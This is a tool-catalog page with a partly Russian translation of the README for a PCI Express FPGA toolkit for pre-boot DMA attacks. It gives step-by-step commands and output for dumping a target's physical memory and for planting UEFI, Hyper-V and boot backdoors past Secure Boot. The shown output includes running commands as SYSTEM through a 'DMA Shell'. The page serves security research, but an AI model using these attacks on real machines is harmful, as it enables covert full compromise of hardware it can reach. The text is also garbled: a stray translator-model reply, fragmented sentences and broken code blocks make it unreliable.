Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/cr4sh/s6_pcie_microblaze
ЭксплуатацияЭксфильтрация данныхПост-эксплуатацияАппаратный ХакингКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки
GitHubcr4sh/s6_pcie_microblaze

s6_pcie_microblaze

PCI Express DIY-хакерский инструментарий для Xilinx SP605. В этом репозитории также размещены Hyper-V Backdoor и Boot Backdoor, ссылки и подробности — в readme.

Репозиторий
880167166 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PCI Express DIY hacking toolkit

Общая информация
Содержимое
Конфигурация платы SP605
Конфигурация программного обеспечения
Примеры
Использование Python API
Практические DMA-атаки
Атаки через Option ROM
Устранение неполадок
Сборка проекта из исходного кода

Общая информация

Этот репозиторий содержит набор инструментов и proof of concept, связанных с шиной PCI-E и DMA-атаками. Он включает HDL-проект, реализующий управляемое программно PCI-E устройство класса endpoint спецификации gen 1.1 для Xilinx SP605 Evaluation Kit с FPGA Spartan-6. По сравнению с популярной USB3380EVB, этот проект позволяет работать с необработанными пакетами транзакционного уровня (TLP) шины PCI-E и выполнять полноценные 64-битные операции чтения/записи памяти. Чтобы продемонстрировать прикладные сценарии использования проекта, существует инструмент для предзагрузочных DMA-атак на машины с UEFI, который позволяет выполнять произвольные UEFI DXE-драйверы во время инициализации платформы.

Существует программа, которая показывает, как использовать предзагрузочные DMA-атаки для внедрения в Windows 10 и 11 с включённой на платформах с включённым UEFI Secure Boot. Предоставленный PoC Hyper-V Backdoor может быть полезен для целей обратной разработки и разработки эксплойтов: он для инспектирования состояния гипервизора (VMCS, физической/виртуальной памяти, регистров и т.д.) из гостевой партиции и выполнения атак выхода из гостевой VM в хост.

бэкдора в обработчик VM exit Hyper-V
защитой на основе виртуализации
предоставляет интерфейс

Ещё одна программа показывает, как использовать предзагрузочные DMA-атаки для внедрения произвольного кода в режиме пользователя или режиме ядра в операционную систему Windows путём перехвата её процесса загрузки с помощью Boot Backdoor. Эта программа также может работать с DMA Shell − это payload Boot Backdoor, который позволяет выполнять консольные команды через мошенническое PCI-E устройство, передавать файлы и загружать сторонние исполняемые файлы в целевую операционную систему во время выполнения.

💾 Часть Hyper-V Backdoor этого проекта имеет множество других функций и вариантов развёртывания, чем описано в этом документе; вы можете использовать её отдельно от инструментов DMA-атак даже без какого-либо специального оборудования: смотрите её документацию

💾 Часть Boot Backdoor этого проекта имеет множество других функций и вариантов развёртывания, чем описано в этом документе; вы можете использовать её отдельно от инструментов DMA-атак даже без какого-либо специального оборудования: смотрите её документацию

💾 Python-инструменты из этого проекта и FPGA-проекты для плат SP605, ZC706 и PicoEVB также могут использоваться для развёртывания SMM Backdoor Next Gen с помощью предзагрузочной DMA-атаки. Смотрите её документацию для получения дополнительных технических деталей.

🛠️ Python-инструменты и payload'ы из этого проекта, включая Hyper-V Backdoor и Boot Backdoor, также могут использоваться с платами на базе Xilinx Zynq-7000 SoC. Существует отдельный проект реализации DMA-атак для оценочного комплекта Xilinx ZC706.

🛠️ Python-инструменты и payload'ы из этого проекта, включая Hyper-V Backdoor и Boot Backdoor, также могут использоваться с отладочной платой PicoEVB. Существует отдельный проект Pico DMA − полностью автономный аппаратный имплант для предзагрузочных DMA-атак для слота M.2, который может выполнять произвольные UEFI DXE-драйверы в качестве payload.

Содержимое

  • s6_pcie_microblaze.xise − файл проекта Xilinx ISE.

  • microblaze/pcores/axis_pcie_v1_00_a/ − пользовательский периферийный модуль, который позволяет подключать встроенный endpoint-блок PCI Express FPGA Spartan-6 в виде необработанного TLP-потока к мягкому процессорному ядру MicroBlaze.

  • sdk/srec_bootloader_0/ − простой загрузчик для мягкого процессорного ядра MicroBlaze; он использует формат образа SREC и встроенную линейную flash-память платы SP605 для загрузки и хранения основной программы MicroBlaze.

  • sdk/main_0/ − основная программа для мягкого процессорного ядра MicroBlaze; она пересылает необработанные TLP-пакеты шины PCI-E в TCP-соединение с использованием встроенного Ethernet-порта SP605 и стека lwIP.

  • python/pcie_lib.py − библиотека Python для взаимодействия по сети с основной программой MicroBlaze, работающей на плате SP605; она реализует различные низкоуровневые и высокоуровневые абстракции для работы с TLP-уровнем PCI-E из кода Python.

  • python/pcie_mem.py − программа командной строки, которая дампит оперативную память хоста на экран или в выходной файл путём отправки TLP MRd.

  • python/pcie_mem_scan.py − программа командной строки, которая сканирует целевой хост на предмет диапазонов физической памяти, доступных через шину PCI-E; это полезно для аудита безопасности платформ с включённым IOMMU (примеры: 1, 2, 3, 4).

  • python/uefi_backdoor_simple.py − программа командной строки для предзагрузочной DMA-атаки, которая внедряет фиктивный UEFI-драйвер в последовательность загрузки целевой машины.

  • python/uefi_backdoor_hv.py − программа командной строки для предзагрузочной DMA-атаки, которая внедряет бэкдор в обработчик VM exit Hyper-V в последовательность загрузки целевой системы.

  • python/uefi_backdoor_boot.py − программа командной строки для предзагрузочной DMA-атаки, которая внедряет Boot Backdoor в последовательность загрузки целевой системы.

  • python/payloads/DmaBackdoorSimple/ − исходный код фиктивного UEFI DXE-драйвера для использования с uefi_backdoor_simple.py.

  • python/payloads/DmaBackdoorHv/ − исходный код UEFI DXE-драйвера для использования с uefi_backdoor_hv.py; он реализует функциональность Hyper-V Backdoor.

  • python/payloads/DmaBackdoorBoot/ − исходный код UEFI DXE-драйвера для использования с uefi_backdoor_boot.py; он реализует функциональность Boot Backdoor.

Конфигурация платы SP605

Документ Xilinx UG526, также известный как SP605 Hardware User Guide, является вашим лучшим другом, если вы хотите узнать больше деталей об использовании и конфигурации этой замечательной платы.

  1. Чтобы загрузить битстрим из встроенной SPI flash-микросхемы, необходимо сконфигурировать SP605, переведя переключатели SW1 в положение 1-ON, 2-OFF.

  2. Теперь вам нужно записать битстрим FPGA в SPI flash. Используйте файл s6_pcie_microblaze.mcs, если вы хотите сделать это через JTAG с помощью утилиты Xilinx iMPACT (см. этот учебник), или s6_pcie_microblaze.bin, если вы хотите использовать внешний программатор SPI flash, подключённый к разъёму J17 платы SP605 (это самый быстрый и удобный способ).

В случае программатора SPI flash, совместимого с flashrom, вы можете использовать программу flash_to_spi.py в качестве обёртки над flashrom:``` $ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin Using region: "main". Calibrating delay loop... OK. Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi. Reading old flash chip contents... done. Erasing and writing flash chip... Warning: Chip content is identical to the requested image. Erase/write done.

root@kitploit:~
3) Файл битстрима, который был записан в SPI-флеш на предыдущем шаге, включает кастомный загрузчик для ядра MicroBlaze (см. [bootloader.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/srec_bootloader_0/src/bootloader.c) для получения более подробной информации). Этот загрузчик позволяет настраивать параметры платы и записывать основную программу в линейную флеш-память через UART-порт платы SP605.

Для загрузки MicroBlaze в режим обновления необходимо отключить программатор SPI-флеш и включить плату, удерживая кнопку `SW4`; отпустите `SW4`, когда загорится светодиод `DS6`, указывающий на активный режим обновления.

4) Для записи основной программы (см. [main.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/main_0/src/main.c) для получения более подробной информации) в линейную флеш-память необходимо подключить компьютер к USB-порту UART-моста платы SP605 и запустить программу `bootloader_ctl.py` с опцией `--flash`:```
$ easy_install pyserial
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec
[+] Opening device "/dev/ttyUSB0"...
[+] Flasing 339852 bytes from "sdk/main_0/Debug/main_0.srec"...
Erasing flash...
Writing 0x100 bytes at 0x00100000
Writing 0x100 bytes at 0x00100100

...

Writing 0x100 bytes at 0x00152e00
Writing 0x8c bytes at 0x00152f00
[+] DONE
  1. Чтобы настроить параметры сети, необходимо запустить программу bootloader_ctl.py с опцией --config:``` $ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472 [+] Opening device "/dev/ttyUSB0"... [+] Updating board settings...

Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472

Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE

root@kitploit:~
6) Теперь вы можете выйти из режима обновления и загрузить основную программу MicroBlaze из линейной флэш-памяти:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot
[+] Opening device "/dev/ttyUSB0"...
[+] Exitting from update mode...

SREC Bootloader
Loading SREC image from flash at address: 42000000
Executing program starting at address: 00000000
Loading settings from flash...
[+] Address: 192.168.2.247
[+] Netmask: 255.255.255.0
[+] Gateway: 192.168.2.1
auto-negotiated link speed: 100
start_application(): TCP server is started at port 28472

Основная программа выводит свои сообщения об ошибках во встроенный UART; вы можете использовать опцию --console скрипта bootloader_ctl.py, чтобы наблюдать эти сообщения в реальном времени.

  1. Подключите SP605 к слоту PCI-E целевого компьютера и включите компьютер. Когда связь по PCI-E будет успешно установлена, вы увидите, что светодиоды DS3 и DS4 горят.

  2. Выполните команду lspci на целевом компьютере, чтобы убедиться, что его операционная система видит вашу плату как соответствующее устройство PCI-E:```

lspci | grep Xilinx

01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID

root@kitploit:~
JTAG related notes: SP605 has onboard USB to JTAG interface compatible with iMPACT and others Xilinx tools. However, it's not very good so if you're planning to use onboard JTAG to program SPI flash like it was described in Xilinx tutorial you have to do the following things:

* Remove any hardware connected to the FMC slot of SP605 while working with JTAG. 

* In Xilinx iMPACT settings configure JTAG interface to use 750 KHz speed (on more higher speed it works unstable).

Xilinx SP605 board is also can be connected to the Thunderbolt 2/3 external port of the target computer using [Thunderbolt to PCI-E expansion chassis](https://www.amazon.com/s/ref?field-keywords=thunderbolt+to+pcie). Please note, that SP605 is [relatively large board](https://www.xilinx.com/support/answers/53808.html) so it might not fit into some of the chassis. For example, I'm using [HighPoint RocketStor 6361A](http://www.highpoint-tech.com/USA_new/series_RS6361A_overview.htm) Thunderbolt 2 enclosure which works fine with my MacBook Pro.


## Software configuration

Python tools to interact with the board and tiny implementation of PCI-E transaction layer are located in `python` folder. Because main MicroBlaze program uses TCP connection to transfer TLP packets no any drivers or 3rd party dependencies needed, you can use provided Python code on any operating system. 

To set up target board IP address and port edit `PCIE_TO_TCP_ADDR` variable in `python/pcie_lib_config.py` file.


## Examples

Information about PCI-E device implemented by provided FPGA bitstream (just like it seeing by target computer):```
$ lspci -vvs 01:00.0
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
    Subsystem: Xilinx Corporation Default PCIe endpoint ID
    Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
    Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
    Interrupt: pin A routed to IRQ 11
    Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M]
    Capabilities: [40] Power Management version 3
        Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
        Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-
    Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+
        Address: 0000000000000000  Data: 0000
    Capabilities: [58] Express (v1) Endpoint, MSI 00
        DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited
            ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
        DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
            RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+
            MaxPayload 128 bytes, MaxReadReq 512 bytes
        DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend-
        LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited
            ClockPM- Surprise- LLActRep- BwNot-
        LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-
            ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
        LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
    Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35

Пример устройства PCI-E, как оно отображается в информации об оборудовании Apple macOS при подключении к порту Thunderbolt 2 MacBook Pro:

На стороне атакующего вы можете использовать программу pcie_cfg.py для просмотра регистров конфигурационного пространства устройства PCI-E:``` $ ./pcie_cfg.py [+] PCI-E link with target is up [+] Device address is 03:00.0

root@kitploit:~
       VENDOR_ID = 0x10ee
       DEVICE_ID = 0x1337
         COMMAND = 0x0
          STATUS = 0x10
        REVISION = 0x0
      CLASS_PROG = 0x0
    CLASS_DEVICE = 0x200
 CACHE_LINE_SIZE = 0x10
   LATENCY_TIMER = 0x0
     HEADER_TYPE = 0x0
            BIST = 0x0
  BASE_ADDRESS_0 = 0x90500000
  BASE_ADDRESS_1 = 0x0
  BASE_ADDRESS_2 = 0x0
  BASE_ADDRESS_3 = 0x0
  BASE_ADDRESS_4 = 0x0
  BASE_ADDRESS_5 = 0x0
     CARDBUS_CIS = 0x0

SUBSYSTEM_VENDOR_ID = 0x10ee SUBSYSTEM_ID = 0x7 ROM_ADDRESS = 0x0 INTERRUPT_LINE = 0xff INTERRUPT_PIN = 0x1 MIN_GNT = 0x0 MAX_LAT = 0x0

root@kitploit:~
I don't see any content in the input — it appears to be empty. Please provide the chunk text to translate.```
$ ./pcie_cfg.py -x
[+] PCI-E link with target is up
[+] Device address is 03:00.0

0000: 0x10ee 0x1337
0004: 0x0000 0x0010
0008: 0x0000 0x0200
000c: 0x0010 0x0000
0010: 0x0000 0x9050
0014: 0x0000 0x0000
0018: 0x0000 0x0000
001c: 0x0000 0x0000
0020: 0x0000 0x0000
0024: 0x0000 0x0000
0028: 0x0000 0x0000
002c: 0x10ee 0x0007
0030: 0x0000 0x0000
0034: 0x0040 0x0000
0038: 0x0000 0x0000
003c: 0x01ff 0x0000

      ...

Вот пример дампа 0x80 байт физической памяти целевого компьютера, начиная с нулевого адреса, с помощью программы pcie_mem.py:``` $ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80 TLP TX: size = 0x04, source = 01:00.0, type = MRd64 tag = 0x00, bytes = 0x84, addr = 0x00000000

root@kitploit:~
    0x20000021 0x010000ff 0x00000000 0x00000000

TLP RX: size = 0x23, source = 00:00.0, type = CplD tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0

root@kitploit:~
    0x4a000020 0x00000084 0x01000000
    0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0 
    0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0 
    0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0 
    0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0 
    0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0 
    0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0 
    0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0 
    0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0

TLP RX: size = 0x04, source = 00:00.0, type = CplD tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0

root@kitploit:~
    0x4a000001 0x00000004 0x01000000
    0xf3ee00f0

00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................ 00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0.. 00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................ 00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S... 00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y... 00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9............... 00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S... 00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............

root@kitploit:~
Пример сохранения физической памяти в файл:```
./pcie_mem.py 0x14000000 0x8000 dumped.bin
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Reading 0x14000000
[+] Reading 0x14001000
[+] Reading 0x14002000
[+] Reading 0x14003000
[+] Reading 0x14004000
[+] Reading 0x14005000
[+] Reading 0x14006000
[+] Reading 0x14007000
[+] Reading 0x14008000
32768 bytes written into the dumped.bin

Предоставленное Python-программное обеспечение использует некоторые переменные окружения для переопределения значений по умолчанию определённых параметров:

  • DEBUG_TLP − Если установлено в 1, выводит дамп TX и RX TLP-пакетов в стандартный вывод.

  • TARGET_ADDR − строка <address>:<port> для переопределения IP-адреса платы, указанного в файле python/pcie_lib_config.py.

Использование Python API

Python-библиотека pcie_lib.py предоставляет низкоуровневый API для отправки и приёма PCIe TLP-пакетов, а также абстракции для различных типов TLP и высокоуровневый API для доступа к физической памяти.

Следующая программа демонстрирует, как работать с «сырыми» TLP с помощью pcie_lib.py:```python from pcie_lib import *

Open PCI-E device, optional addr parameter overrides value specified in pcie_lib_config.py

file or TARGET_ADDR environment variable

dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))

get bus:device.function address of our PCI-E endpoint

bus_id = dev.get_bus_id()

MRd TLP request which reads 1 dword of memory at address 0x1000

tlp_tx = [ 0x20000001, # TLP type and data size 0x000000ff | (bus_id << 16), # requester ID 0x00000000, # high dword of physical memory address 0x00001000 ] # low dword of physical memory address

send TLP

dev.write(tlp_tx)

receive root complex reply

tlp_rx = dev.read(raw = True)

prints 4a000001 00000004 01000000 00000000

print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))

check for CplD TLP format and type

assert (tlp_rx[0] >> 24) & 0xff == 0x4a

print readed dword

print('%.8x' % tlp_rx[3])

dev.close()

root@kitploit:~
Работа с TLP с использованием более удобных высокоуровневых абстракций:```python
# MRd TLP request which reads 1 dword of memory at address 0x1000
tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)

# send TLP
dev.write(tlp_tx)

# receive root complex reply
tlp_rx = dev.read()

# check for CplD TLP
assert isinstance(tlp_rx, dev.PacketCplD)

# print readed dword
print('%.8x' % tlp_rx.data[0])

Доступ к физической памяти через высокоуровневый API:```python

write bytes to memory

dev.mem_write(0x1000, '\xAA' * 0x10)

write single qword/dword/word/byte to memory

dev.mem_write_8(0x1000, 0) dev.mem_write_4(0x1000, 0) dev.mem_write_2(0x1000, 0) dev.mem_write_1(0x1000, 0)

read bytes from memory

print(repr(dev.mem_read(0x1000, 0x10)))

read single qword/dword/word/byte from memory

print('%.16x' % dev.mem_read_8(0x1000)) print('%.8x' % dev.mem_read_4(0x1000)) print('%.4x' % dev.mem_read_2(0x1000)) print('%.2x' % dev.mem_read_1(0x1000))

root@kitploit:~
## Практические DMA-атаки

Одна из основных целей этого проекта — предоставление гибкого и удобного набора инструментов для выполнения так называемых pre-boot DMA-атак. В отличие от обычных DMA-атак, они нацелены на среду до загрузки, а именно на фазу DXE инициализации платформы UEFI, а не на саму операционную систему. Такие атаки позволяют запускать вредоносный код на относительно ранних этапах, когда [IOMMU](https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit) и другие функции безопасности операционной системы ещё не инициализированы.

<img src="https://assets.kitploit.com/production/public/readmes/47570/6a87a76c672dc69ade501714127d61c89fb94cc82f3593bf9480275fe539169e.jpg" width="610">

Pre-boot DMA-атаки позволяют обходить различные функции безопасности прошивки платформы, такие как UEFI Secure Boot или [Intel Boot Guard](https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/secure_boot_chain_in_uefi/intel_boot_guard).

Программа на Python `uefi_backdoor_simple.py` внедряет тестовый UEFI DXE-драйвер, расположенный в папке `payloads/DmaBackdoorSimple`, в последовательность загрузки целевой системы с помощью описанной выше pre-boot DMA-атаки. Чтобы использовать эту программу, необходимо выполнить следующие шаги:

1) Выключите целевой компьютер.

2) Подключите плату SP605 к порту PCI-E (или Mini PCI-E, или M.2) целевого компьютера.

3) Включите плату и убедитесь, что прошивка Microblaze была успешно инициализирована, выполнив ping IP-адреса, указанного при конфигурации платы с помощью программы `bootloader_ctl.py`.

4) Выполните следующую команду для запуска pre-boot DMA-атаки:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
  1. Включите целевой компьютер — в случае успешной атаки через пару секунд вы увидите экран с красными отладочными сообщениями внедрённого UEFI DXE-драйвера:

Пример вывода консоли uefi_backdoor_simple.py после успешной атаки:``` $ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [+] Using UEFI system table hook injection method [+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [+] PCI-E link with target is up [+] TSEG is somewhere around 0xd7000000 [+] PE image is at 0xd6260000 [+] EFI_SYSTEM_TABLE is at 0xd61eaf18 [+] EFI_BOOT_SERVICES is at 0xd680aa00 [+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18 Backdoor image size is 0x1240 Backdoor entry RVA is 0x31c Planting DXE stage driver at 0x10000... Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c 0.780202 sec. [+] DXE driver was planted, waiting for backdoor init... [+] DXE driver was executed [+] DONE

root@kitploit:~
Этот фиктивный UEFI DXE-драйвер вместе с программой `uefi_backdoor_simple.py` может использоваться как каркасный проект для реализации различных атак, таких как внедрение вредоносного кода в загрузчик операционной системы, ядро или гипервизор.

Существует также ещё одна Python-программа &minus; `uefi_backdoor_hv.py`: она внедряет бэкдор обработчика VM exit Hyper-V, расположенный в папке `payloads/DmaBackdoorHv`, в последовательность загрузки целевой системы точно так же, как и предыдущий фиктивный UEFI DXE-драйвер. Вот пример её использования:```
$ ./uefi_backdoor_hv.py --driver payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Looking for DXE driver PE image...
[+] PE image is at 0x77160000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x2c20
Backdoor entry RVA is 0xbd4
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0bd4
3.611646 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for Hyper-V load...
[+] Hyper-V image was loaded

    Hyper-V image base: 0xfffff8072d690000
           Image entry: 0xfffff8072d901360
       VM exit handler: 0xfffff8072d8add90

[+] DONE

UEFI DXE-драйвер Hyper-V Backdoor также выводит свои отладочные сообщения на экран. Кроме того, вы можете использовать опцию --debug-output скрипта uefi_backdoor_hv.py, чтобы читать эти отладочные сообщения из физической памяти целевой системы и выводить их в stdout:``` $ ./uefi_backdoor_hv.py --debug-output [+] PCI-E link with target is up [+] Debug output buffer address is 0x79db3000

DmaBackdoorHv.c(1018) : ****************************** DmaBackdoorHv.c(1019) : DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded! DmaBackdoorHv.c(1021) : DmaBackdoorHv.c(1022) : ****************************** DmaBackdoorHv.c(1055) : Image address is 0xc0000 DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260 DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000 DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364 DmaBackdoorHv.c(819) : BackdoorEntryResident() DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477 DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487 DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000 DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10 DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9 DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe" HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000 HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes) HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000 HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90 HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe" DmaBackdoorHv.c(560) : new_ExitBootServices() called

root@kitploit:~
Для получения дополнительной информации о случаях использования и функциях Hyper-V Backdoor [ознакомьтесь с его README-файлом](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/README.MD) с подробными сведениями.

Программы на Python `uefi_backdoor_boot.py` и `uefi_backdoor_boot_shell.py` используются для внедрения Boot Backdoor в последовательность загрузки целевой системы. Boot Backdoor позволяет запускать произвольный код в пользовательском режиме или режиме ядра под управлением операционной системы Windows, а его полезная нагрузка, называемая DMA Shell, позволяет выполнять консольные команды и передавать файлы. Чтобы развернуть Boot Backdoor с DMA Shell с помощью предзагрузочной DMA-атаки, необходимо выполнить те же шаги, что описаны выше, но с использованием программы `uefi_backdoor_boot_shell.py`:```
$ ./uefi_backdoor_boot_shell.py --command "whoami"
[+] 44544 bytes of payload image read
[+] 21299 bytes of payload image after the compression
[+] Using UEFI system table hook injection method
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Looking for DXE driver PE image...
[+] PE image is at 0x7a070000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x14847
Backdoor entry RVA is 0x908
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0908
1.759079 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for backdoor load...
[+] Winload image was loaded

              Image base: 0x0086a000
 OslArchTransferToKernel: 0x009c4b20

[+] DONE
[+] Waiting for payload init...
[+] Payload shared memory region is at 0x00200000
[+] Executing command: whoami
[+] Process exit code: 0x00000000

nt authority\system

Теперь, когда Boot Backdoor с его полезной нагрузкой успешно загружен, вы можете запустить uefi_backdoor_boot_shell.py с опцией --attach, чтобы связаться с текущим запущенным экземпляром DMA Shell:``` $ ./uefi_backdoor_boot_shell.py --attach --command "hostname" [+] PCI-E link with target is up [+] Device address is 01:00.0 [+] Payload shared memory region is at 0x00200000 [+] Executing command: hostname [+] Process exit code: 0x00000000

DESKTOP-E52IJJ8

root@kitploit:~
Также вы можете использовать опцию `--debug-output`, чтобы получать отладочные сообщения драйвера Boot Backdoor UEFI DXE и выводить их в stdout:```
$ ./uefi_backdoor_boot_shell.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79da2000

DmaBackdoorBoot.c(630) : ******************************
DmaBackdoorBoot.c(631) :
DmaBackdoorBoot.c(632) :   Boot backdoor loaded!
DmaBackdoorBoot.c(633) :
DmaBackdoorBoot.c(634) : ******************************
DmaBackdoorBoot.c(668) : Image address is 0xc0000
DmaBackdoorBoot.c(711) : Payload is not present
DmaBackdoorBoot.c(276) : BackdoorImageRealocate(): image size = 0xf500
DmaBackdoorBoot.c(722) : Resident code base address is 0x79d8c000
DmaBackdoorBoot.c(430) : Protocol notify handler is at 0x79d8c364
DmaBackdoorBoot.c(455) : BackdoorEntryResident()
DmaBackdoorBoot.c(464) : ExitBootServices() hook was set, handler = 0x79d8ded7
DmaBackdoorBoot.c(358) : new_ExitBootServices() called
Winload.c(419) : WinloadHook(): winload image is at 0x86a000
Winload.c(507) : winload!HvlpBelow1MbPage is at 0xa037c8
